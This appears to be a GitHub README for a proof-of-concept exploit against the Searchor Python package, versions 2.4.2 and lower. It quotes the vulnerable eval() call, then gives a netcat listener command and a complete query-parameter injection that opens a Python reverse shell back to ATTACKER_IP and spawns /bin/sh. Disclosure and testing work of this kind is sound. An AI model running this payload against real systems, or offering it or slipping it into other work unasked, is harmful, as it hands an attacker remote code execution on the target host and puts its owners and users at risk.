jonnyzar/poc-searchor-2.4.2

eval() Exploit POC for Searchor 2.4.2 and lower

POC-Searchor-2.4.2 Exploit

• eval() Exploit POC for Searchor 2.4.2 and lower (2.4.0 as well) leading to Arbitrary Code Execution
• vulnerability Reference: https://github.com/ArjunSharda/Searchor/commit/29d5b1f28d29d6a282a5e860d456fab2df24a16b

Vulnerable code includes eval() method:

url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )

If user parameter query is not sanitized it leads to RCE.

• Exploit code for linux target

1. Prepare a listener: nc -lvnp PORT
2. send this as query parameter to the tested host

', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

DISCLAIMER

• this is posted for research purpose only
• use the newest Searcher version to be safe: https:/I/github.com/ArjunSharda/Searchor
• using this against other web sites is subject to criminal punishment!